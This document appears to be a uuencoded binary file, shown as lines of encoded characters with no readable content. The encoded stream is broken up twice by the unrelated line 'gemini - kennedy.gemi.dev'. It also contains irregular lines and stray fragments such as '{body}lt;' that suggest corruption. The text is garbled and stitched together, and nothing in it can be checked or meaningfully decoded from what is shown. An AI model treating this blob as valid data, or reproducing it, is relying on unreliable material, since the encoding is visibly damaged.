M-O[.2C6EYVPAGU!Z(NEG*HQ%X]`G9\QLLZ'JLA#0#SSW@R8<<=!6DSD=:(MX
MD/Z8,'(QT:PM4,(@/G'M%&6AQ$=.07)$1A*G/B#@#KV9{body}lt;Q2F=<D016:3S,O
M]+K(ZQ4&0^.>G/3HW23,&PPJW*APD\)-J=U@0Z8VS',TR0`;`VP*L"D`,PXO
M?G\N0`;S3#-)LL--[$@,#S@IC,G;3ESTH8SDG(HJ%UZVT_33":"L6::X%8]
M"]6S@-\>-[T[:<L[D_:Q48">RV%C(*5?/7VM00JBX[:\NJ0#WFX9P'K`.%^G
MVYWV;_?6^(DW_#:33>I>5$T'?2JV$0AB*0Z.;P$O\1[?[:Q>8AYPT`BTFY%3
MQ/W2024_*IP>C.^AN.RM%FKJC.=E""1NP)!G/D0W>4L0]E7GR8Y"LYNNG1MF
M!J(]OZ*?;W)WP<A>]>`/0F0VG9'..Z/<;RA.D]+:=00<QN]IGCX^T`@(W8F=
MFRS%B7',I\,%?-AD9]R8(.@J9?N$R245C09/:+^PH<XX7K?)%3_`V?:I<@F]
M;.>(IDY0SLN,N<Y&>'%A<K^Y1#@:F(5N\I[9?XB*4)DBT;&Z8G4];*YV2OA#
M9Y;0F25KNY3(2L)ZT"9?8""CZ45.K*)V"T*"Z84V2^,59)<G85<`22@@VCL,
MV!$78X)185SW!S5Q^X.8):FEND<WWAZG;`@$@5`O/A\%@D:BADU]F%DH<-\&
M2'V7>:''KCG;A).'*?C.(N%\88KD=M<]F&:[R5,5D#I*#PS-8V:G3YB#PI,A
M\(=?T`7U=&'QFU#^+Q=TS";PZS`HDK0C<B_59=EHLJLG%%&H;&I'%PQ&D^U;
M`),=[24?F)P7S
%21$)F2]X'@L*#3D[N(]"'9;&=5I?(-"63,R2A9+*!G:?
M%]@S1""2I063",&8YY,-L?&W<HW[\16CK29NNXT&!%3%[[K=VJ&PKRY0,8`<
M4$2*=,>PK<F=9=IW%F9!72[?4BU,>.7#DELG&">4%!*U`:(^L`"J_+C;M9%,
MN3\]Q!/ZZ`16C6A6C6A6'[RLZM_6%PY?#1#=!8,MRD*PQ_`F.4O:GK)DSA0O
M$H52XJ%[N?`I="</S%L4P4-&%,KIPG&S8`XJ3J[W`:T5QD3S]J1L-_=WT&E_
MND1XQJS(5GW=:HBY%$KZ+>>]I"#,4Z75"[PN]AX+KS7"4D=>GZ--8;8+NVC#
M!9+WU-6V@(:T?9L(;Q*L`!T'1V)L-'FMUC<><-61OE@];,#<//E2V<@&%$8:
MVJS[0L%$=D[U`I9P4EO&P6N0NJS,:[FV&S2ZL!51J?FJ=ULY%%E9%;5$Q1_M
M4<0D<J@F?=M1+280B4'WL1C,>^/$6KL*5YK0W=3RF[QAYLN){body}lt;@"#:C/:KB<
M$_$)D>CHL0^AWK*G+>$!UQ:Y+.<:@/D(9Q0SN,CR2NT7+D3O2'_[%I]M*7CP
MJ(Z8U`I$C<FBW[3;W,=#\E*`5"J_CV[]3KH-]]*M71<4.SWV-;(&1IP7YN2"
MEVAIL_UE&(=]\DG!['UKSRH&G"=,N"&Q*6P;-`HM\*S\>=B6MT^7R*5"?,!(
M/#@6"&FK'"WU_>W`O>:[0]>)@+P2D4DB"THN)'20D.;`.6,=4G_2^?20#&I[
M#L%$)P<Y.VCP&ES<XN!1O%!M6\[R*AI_YD0?!KV@P>?+RO%+@T/`#B1?6(U-
MUN20,0+-R^FDH;KM#&!O;I//**;\FEC5!NSW\^N.)=Y&[:>)H9,(65EQ/75*
MMH/[L$L6R7'_H&2<RN_MF%%[L&QVNTXD%G[#`K#4<7<DT(=5I"GG!GR>R]OB
MPNWH;/.V'UAJDVS..;$8&;G0SP?3J+9V$-U&1NQH1\V<**!6F4#-:*TF>3'>
M%HS]\W.EJ1HM&J!#(B$0FP"F\E+A=2XQ&-2#0EGX]%J6=$DN9X<<X#H*?%LR
M4P0P`+$2G77K[_PY%*"^^$3A@9W/A9`%L*Y3F?>G,O=%L>=.%E0,%MK@E,6
M!#:+8"JB$O&3*\I"90=7//VZ9(GL+KC5F)"F[H_\Q38S\45X8'=F#):<S1$V
MHV(*/?%)MYF7Q(=?FZ%$X[3O&6U??#O5$U<#'\-2(/F:-18#9($2RAR6M530
MA"`5:E='A$RWS"'2`A-=CJZ$SSFFF&D$J6]Q+&)*-F2_@A6#EOK&)[?ZMKQ;
MR`=*_$B\?(^DJGG@M472.EP'.:$W?YCQAJ4J
gemini - kennedy.gemi.dev
C_YJM20`42G<;;=;%--ZBT
M:#Q-&-P4U!GIT*9RTH)XN<**4E%H%IK$N)YVZNSI.EVFQS3_VXN=O'*Z'O;1
MC&UP_RQX66'[\NX0.-'CA$4Z/(#[Q/.W3SI^^[2<[`^S%4W(R88,"^=*F\#B
M3@<K@F%\DO#)YHK]@X3!ZB'O6*O:V'S/.`=Q!>73CITV3A@7V-V4'O90;B;T
M,5\#@3P;,-=:0M:&L]L9=RVC+>%S._`CO1L\ST@=<G;(`<7)@;&;YJS1E*9#
M%D[)+)J2:9(%UM3,PB?G)JS@,[#=9L[Z7O)DBY3M0$X8*JJ!]:H--(3$+%HS
MK+-?7G;6,*2%?CGRF35F"5XX6%VXNFO!\GU(4T5G9R8L?/NSX(G93-1$DW:/
M,&F>5^S#ADO\;=+8SZDXHJ)%:!O66RY83+5P4&IBD3!76_&/4MBS7QX)X=?3
MM$/`M,C6BTR$;C=.&X;C9\G&;8N;%BY"6K3T:,'2(ZSV7.SI"/=0)_I0G5=>
M?>G"-400[ET5'Y<5V6I6CVN)J)9$\8J+29"/`O/9PF#?7(:#]:`+GXD6?R9:
M]"2TX$EH62O??2XWV^E_Q341VI3!<F,5W_89-6+;%IUQ2H]Q2X`/=F*K9<O%
MIH&U`=SX_=P)DP8+GQ@6/3$L>F*@I`-,N.$";;Q`>@JDQ,BVH5U+Y'#;/5\B
M!+&#.)`P;$?[\4%E;]W?39T*&>W9$9G>7U*:N:Q8W0RR[5B^.HU=U:=^JEM0
M)6.?U3NL6-W><0UW9L<_\CSI$\^3?;TY>R`@1GM+W]TA6%'X1@^&15FPCW-.
MMOT;OT8UY-X!1G725V)F>6XXC>,#7G9#X$DQI^7NNY0)T5/<T;[NF+-=M"9Y
M\17)RWWGY;$/P9!1C+4PNMHD30V_@3SSE:B`[O@Q9*[P@J3SRHZ!/YEL,XS8
M:B.--JN*?%D@;M&0'%F^P8:8F'Z]SC9X{body}lt;B#.:A7'N#14=Y97:*CG$V4\_1$
MM93S@>Q`PL=VS*)`]`;\$93H(DOO(@WMB5C@3I"8DH&`M3VWHQ$7/M<WB5=\
MV`\#)K3PNAP"UF(O=I:B5TT+SZ@X(<L83?@(@E<>`R]NJ7S",0(G/3$OVKVQ
MP6VR7%4\?;#(G$U=JD+S"'4!6J\1`]L)YKRQ``_WS5A*M%1/VN1;8A+'C=';
M3CEXV[2TD9P-56UKR$?(`N!6YHWVPQ8T4II7B^T5>?BP=2@F+?9VJX&!X0VD
M[1IJU3I8"FVHB-7VJVZF78D5'R#HZ<DM3R%^`$[NS]M,H#O;E^N@)-_D]JV[
M*/DS;QVK%L=#EDIX2<D)]>DD_8CAV\C^MUSH8XCCDX(\W57;-H7%M57.&X;#
M3A[JQJ_Q!B[=$M'=.&`FJL0W#\9F8K0?-4!.+FX++Y70G;D0S/`-\Z-.\.>8
MC)(.B28L"T,N4'E--%'6&W]"*UX5KGPS;6)51DE;V+*$K!)O>[;C>XQ5#YB^
M@U#CP%>*)_]&\>1?*)[B^\03IT',Y&789D]V>Z6I@&HBFS>1[36%#)4:2E6Y
M-?2$N!QG]66E!DKTM2=*@7OYBJ>?E<L%5TY1KGI'OF(AU&J;!*;;0'/'$KB,
MK-#&Z`(Z,S-N\RS!3I]*4XFHL,6+&JU;+1O;FTDR:INW6:>/1'.FR!*%DH(Q
M<6W%ZHLK"#F@.#EXJ%>:4F4E-ZD28;QC)ITK30^+O#,U-QE/FJ62-"HSHE!*
M-RQ6H&2>T+;TTF_5O/#J$\(KIX*;P.'1)[5^[JX'*;52/,$V:EUY)UU]HG1=
M;G>:IH'AI)G)978I[Q>\GW)*`S,U6:0=;KIG&;I4=7)PVL0K347YJI1?/>57
MC^N5=FO@"[+.G!>96*D@8%)J:9",O?@TQNIKNM<%2\4@&`J-K9F)OA^O[>:"
M$/9J80XPWQV-8.?T+&2F9!H[&\5^@@$\P[C"?*7)SH\P!Q4G1=7PD@+DZ_I,
M5L_6!E?LC=U1SA$7[3#1P6)SX9,="I8R5&[?';P782;#S"11*"'VF29'F$9)
M+E>N&`N4^N+^"WO#1FJ]_-H+XNI*;=@EI8+=G3J&!O=F$F>L6#)^0M!RD[+N
M`PVT`LY0-0)@W\G%$DW<6:NE,!Z3C,D(*L@<+W%5$ZA^Z57_7O=O,!CCFS+R
M]L+?O=ZKK?@4IIF\V>+)LIGV2=UZG+"D?+47X\@E`6D2&079`MH0M!E];$1^
MDC@R(LC3IF'J@'16%GV-<@-;%U([T1%Y4S*E2D2#.^P3,C/#"DW9E,(-!E[`
MV._X4!<{body}gt;3J8^*:).Y+""T.!4&E*NRJNJMQMU0/S#M.D%U!%@KY]9]!,I9D]
M154C4\J5IG0\XLQH6#8UZ4/=^Z'UO.NA'NJ('NKH/=3A/=2AKR?6)[HJ^R)M
MMUL11[*[ELOM_()=LA`0DT!]PFB3%H5E=<>]>M>]>M>]>O=[M0&Z68'5W>[W
M;X'4(!"7HO`8:N2C]CQX#!5'"SC0"^-2DXF2KL6=2[B_H8]PHMI3=52UCM_Z
MXIV/&DW88[")3>(B"<439L6;A+GS1B6``A:^HU_?3V]7/+T)S.ELE\EZS6;H
M1HT#2>THV#.<T1GR8%@3J,S6'6(Q!+JP9IP.35MW+MW"',_/R\%BBJCQEGC'
MW[D,9$][M26RE)8$HF5\YG_!VGP(^E_2DW7+93\[%YWM6G{body}amp;62B9P`73&OC*
M>K>MJT\[AY@FD#+D%H!9L?UJN;`'F)W/+CL?6R#TW?6NIY==#RX[GEGVA084
ML(GI409$=5HWKW4T)M"XU_D%4PT[/]O<_;/-=F&QWIS2LFG/+39;M,$5&Y&_
M=BJ!*(>P#FC3.V;9%TC^$%;_K9-8H-5_8"O"\]>G=0L[URWL6+?0S(^;G=A^
ML@,\S>"5ATQ!#`CD.PQR(93J$CF\81FTW?L9'MDT076/2[_MV^F>]_T%9/9M
MVCXFEW2X8SM:(]MN!=LN8!BQZ_/#G</,G5W\KDY[UZB1@PLS^1,W0#/<$)0A
M&5#AT`RWEX4)O?`U\<ZX,#W5;H^ZYIN20'RXX4$P4M[U3&I>?\=Y]2:L@C9L
M=FJ`AK:I\X*?.:-OV9WA^@KCC&<N00$AP1T#-PBZ+DE"5N054@[HH_?7UY3N
M"DHLP1X&D^24].2,50-:_35EH)S;*/@EZ*&,V/=1J1,=W_!9U<[-]R7A`]<;
M2VCOC9@C$A64R1ML"(QKN_/Q==^1KZS2,F<T*DW&K1_4[O<?+H_%K$LS.%6@
MK^+VG9TR7H3N7'_7A,)5::[)K>KQA'G`$MP#LU1*W+[GO7>Z*R):/`QLU{body}lt;[
ML4?;G:L]=JWR:/+=S#E-A\#.!G(HI(TB2R"Q[&,C)^EFSED$AC,F7'8?-N!*
MVX%J"VT3Q4P35S<S0683":$C\509$%ECS%M"QG%QL[W2=PG%D=XDF%SFD%G@
M*DH%)[^<=GP'@F5R.T;J.T?G>[GO&;_30@,Q\NNEW7?*V`L;'/:JG@:"T@
M3E]18G8[T)1JNXWA70$([;/J&"R075TFI1?&D-EE$4BR9&BC55I7750#]U8X
MDUCAOMN(!S<I+EO<M6@1<L,2^L`BSB[=05)I5%2E"47D/UHC/K(!(6WE\N&$
MF^&A0K:A/B9S=,UUG;FF8S]T8SY\5'.LZ<';F0B.>/\`,4MF27DS8X=M"7[B
M8Z>9>F]&E(]BX,_F\/M-`Y5(M(6-0E]8.*V,K7K\^DC""#[\')L2&MDVJB"@
MN1VY/:4MI1/Z_8,_ED.'4L]4[3;\Q`[$S$/J3YR,W8\'WC_;NLTD8<[V4WJ;
MU=#?YE5K8`+G@4MGULG;O&-4S!_BFRW7,!-ZB1Z9)IU@*BATV0#?V-#>U,[>
MU-6\K9['U</`QAL^?M9OW-R]DSE:/_A^QK./"3@AG7<D\Y[D!).KV/9WQO*.
MG6X@X,MEJ;8R=W^B@3W/NRT/I$2D(%-^PN;K\9W@<U4TO%>94.-YXH?X7-7#
MV.LN6^B5,0S)_'[;!.[3@D*B0+:QYTYUJ3`^,TRD-H<&>9JY[4,#%C_;=V!T
M*-?I#0`K<L&D$-5%)M/@32_[GC,9>\?DZ7J;[D=E.:XW.?%3N3PM,\TDJ9!8
M0=$!E09CVAF3LP=@`HVL[[*47%L'L<FE7;+OW4*1XQ
gemini - kennedy.gemi.dev
N6,'=J"/,8W?6?K
M'"F@5EX3S9GBQI*],L"K='%XBV01(#24\2XA^YN#[&\.<KPY<'+'AU?-1GU5
M8)-+$:R2MJD'8_#:;<!2`I30O$2Y-G0CF7=[$Y7B*?&&'V1#;//3Y$9]:#/F
M<F7IO&EG^])X01N0M23)!6^^C2HFLXP0%JFRJ1YP?]B.@R83S9F"*6G7;%"6
MD(=<"R)\J)`/1K7#\VVER9#J8!H@6<3R9&I/:CREP%_H1Z(Y4VP2S->'?T:?
M^;ZAB861?/#C.8-50K^*#T7_\3'YA>;;B>QO)[*_G<CQ=B+[VXD<;R?XL9:9
MFO<)+,[O`0HZ*_HY8I![9?JV3=&FE,54>*7)(;23O/`$!WA#=3::>;%%TE.\
MKQ$GO_YP4M;(>>1!W?,-B]S#C:?#=Y2_A'VRC4''8$F?_62S"5:3VH4LD-[*
M<V38\U%X#%Q'.JMFZS7J#G-VV5=^$W*`ATH.7CQ;^5G*@.M3%G>LO2[<$CJ0
M2"ZQK25O3W*=F8?D32.Q:22T?Q.R+HPR?4#@.;R)8L\OU_5@V,V6JD+`=]M<
M,@U>I)+X*,[E"#FU:\#(<'^$0)(5ON@6FBF+*O_A-SXC:.,LH2;?8%#KC<F^
MZ2-YD$LJ*Y(WNJK]\?>Z3&2$L&/M3CS4#B)+R`^QX:2[D\ZY._%[WHQ%V&9B
M(P,#1L$W-2:UYU1@"?9XT*!P0L\))]_`O/";SLPUV1`WWG@=Y<RGED:7)*{body}amp;
MN?`C.TA^JQ98Q/Q^'>A.;E>W;N@_%S!_"HL^UFN@M%:EM2HF]<8+?.TS+C,Y
M/>)4B`S(CT4AT6P6?2XJD"[::)/JG/EA6,:J3>YHDA>$N4RLQ\NDZFO@_B!W
MQ*2$7<--F1:7.VD14D03`3`+!/S@"58>0>':Z@6CY/E:>`%:J@<P6K+&C<V
M-.(SL'9:Y;H?&',MR#B.^#5Y8VYO-^7IIA4;V=[9EH6P)I=0EO^%)C/.$VP!
MX4/[*TT./QO<;,\I>W&;.=A:"C?XPAE5,!EC>67.RZL7OU1FI%1EI%0UJ%*]
M1;7LHV!\46ARPQ.3TP14+VB'KUY=,E4CIJNJ5H>T5#[%9RVQROHTD%(YW'E'
MW_V.OOOM>X_;-]YKF,G=9HS.O+F(TN"*+`67;HFXSO&RQ6U"Y!'2(U1K%(5:
M1)6V'A&;I8
\2RB;G;?`-.(WX<8<2"P<T,A2J1]/N_VL4N#*R:!!0B/'G*_
M8%ENQOQ_U@N`K#<`V:?]L\_[9T[\9[RS-G.38.9>8WC&B54(#E<TQ9KCW6\C
M9?^FOM0F..C`%KO;*-TE>F'0CHOO6)SKXG@0ZEXF'"MOEG>8'TEBEH3GSJ:S
M>XO99YHLP:X;-%^/9\PHFSE/S(>J@A/*)J-\^ZM]X+P15Y6MT5-._.HR<T)8
MMQ5.R4)4WL,<X8S!C<T[K2[ES+R:O"K_QNOBEP.VIQ.<.`>$";]F<#L.`3/]
M%MMJB!'LC7XLS9O:>).XVQED2;;;-T[K`9)+1>1Q<U=``\\NQ["8AS"3`;FH
M)A_H=P];'&=)'0D[N.8#[Z$@9LE"J6"MF5EK.OAX>/A3X;'Q@YL&]O1+VF$6
M?LN5\2X[XTURUIODK#?))OG:PTF.2K1U:5C1:_2$P+P1Y4J7PJMX8*LZ".V-
M)WXZH?F*YHZAJ2<=8T;-<E5IL):/=WWYC(.385KI,`63K6D>W)?[T+[<A_;E
M/GQ?;H,6N^V2@G&F`<>4-N?8'NFM]3=T>(6A9Z:C+_H\."8[.+]R:";ET)(%
M.\(H2<R26;)(/BE=GVWPP$_%3*Q=,7A=M@#ZV>'E]$0<.SX5L.V.CGFZLRPS
M;.A'F[!/_TQ@<I50`PH(E^S05RT'/F?AQ@K:54%;*AP<S$%@6A3D"KCQ"%Q9
M$7*O"-^.X4`5SF]I*0Q",L=TY1#AL`/^S+3'<JP`L<E@>X-!F>B,X":0!P.&
M?N'^(":KA&O4T-`M$B)D1LE'<PT[<N$%W--UKJ83)@&.#CC=7#"Z]`;GB99
MGYK_.K#G\H'WWP=??YO(%%!4.T!V\+L],)GEK^_CU7V\MA?(2<*>12GI4&FB
M!7U[W$YV@-+I6$\PB*:X7KC]E6`#)9HS!).TCW`.?H33!(?_`D3S2M/*BL:\
MKO-^<5D
RE@#LI!H:8D5VGA,O);G8`BHGS)2FQ1D$61>4Q8N6_2NI(F,8@X
ML*;8S'9%`<S^4Z'>\-[3EA<=G+B#P-XU3D4X2V:7[B')&&\G_&XX@CXT@#YL
M,64SZ'9G%'?%<'<5VBH.,@E"?L6\`QUV%[9Y,MXM#LTE^DWC\)E{body}gt;Y-A.\&#
M4#0-U?D>@](U]QUM!U-_AWTV;[=>`539NC<U[TWM&]+])14E+\?&KR@.&^\?
M7+T)P5A>%=A7)#K1$4?X.-`))F_2!UZ['XR])"1683!N]E;:GM:7='']UK'A
M]G+8_'XS^(@$J)"(`)/R]G(&6<<G-`=?J4)`)_M(&51<XK6;G:]P2/B93-WV
M[%P'1%?O%M>'Y,H^2J8=Z_H,2W')9"X8=5'2`=\$42HK0/Q>'>>!!Q5/I5FT
MNF.P]$"P_E@WH@E`T2_V?FW:`I6<&B`W[&^"D<OW-=&$!?ZMS6'(XD2?EH6)
M5\"PLM[P.\JVLWTSL:,ZONG@:S4S9XHL42@E*BX2YZB.[-6^:5*-1%7V/MEW
MD1:%GX>D`Q^2!'1B0E71ZAG_R'<8C%$=1D:'D9%AG[$\^)+\\)?DA[\D/^+5
M^*%7XTW"+*B2PF<4[E-IYN(IZ['20'9D#6JJ6]:.7<:O^(*I&0QD(0K>HT'`
MBE\2!L+ZI:/&"IX;(.@F+\5SU0"J7-^N^#;&B?&071<6!D?*;$8%DSDF4,:"
MR<NC>$)J2,'Q[+@78]S$B,U!%!Q%-R]D`PW.CU\H].#S_):VWEP\N+PF8J#
ME6RO1>Q=KGT4;MY:%4")X+X^@`!U]LAZ:7_@FN#AX>`+RX-??T%P5U?@&8,*
M_Y+_\&_#!$7T,E4G/D&2=0\F/T4L"+[^QW>]1WQ(=NCKL4/[D)JDU</PG@U)
M#S2P6M7G&5SQC!WH:A'#1I?,JTI0X.P7F.A!."%[X&WN49^HF2>7VQSO]N1[
MO-=TQ8:-C9`CRSRF:`_.SAYJ[VCA'Q\P>-W]:X`&B78$^V`'^Z&^]>/C;9>Z
M`;U:(O9_LC]+Y'G!'-QSM3>U9IH;G]V?>F7^Y';[$)8<P5V0UK-UR_-AGT`Z
MF;<E_D1?^,1"'#/M9O34T>"$CQ1@@;"%OQ7'R1RMVIZXKD_,_)@)"PKX5/&>
M'SY[*F+<P:'2AF;GZ61_[99@9GMN,&';SYQU7)-D,9CS8J\%&[61)$PJ<N-A
M`,2::,X4=+,*.MNC0('OCI#F91]\G3E_=^;LW5ES=^<)#X,4LV26+)32:T\6
M9A[F.D_,Y8P/:"4M^+RLZW0.@&Y&1.W.>)Y2F;*$W3Y%'ZF3J;XD&$0>A'-F
M15V0R`5IXVGFK(J[,)-7^^#^/"TW1+[0L(!VB(N9>S._W5%B$[-DH60DWQX;
M37-]33!FF'"@$O8N-7'CC()P/P*MO.LYV=?,*,!ZMIU%(=$JUO/>QM4F#ZP$
M#IH[ED"E2MZWD0>E1X]FSP.ZRB)YR*%6Y&Q&A9J@%2]8&J033%MD%("0+S#P
M]-\`&R@V:1_#F,3;),E"R"HA:>[8_55"\KZ-3*7S#O&RMZ'(-.`V,E4OK=B`
M^U4"[J_\];!PJWY%#2Y71K).`13,*7\17$=ZUO:9D/N=$=@$/4"7'Y_&S$[K
MTPGWZC.VW323RF@+-ZK?F-+-[O&^BZPD8[E)>$PWF%BB2)E<N@=W]@_NFCS?
MN7&UUZA-'K<-]H<N)QL3CG0\\P-H$[SDCP4+`D4?J1.TGO=B%6)%NYUP5I.!
M?O,WO;IK9`\DV!O7C)4FNJU;0AW=TNW$]&]LFR;XXP8E)RKG7?8]`"WR9IV1
M)-*R#:^:V(^7E1V+XSQPZ<SK@)_K[3[9)FP.#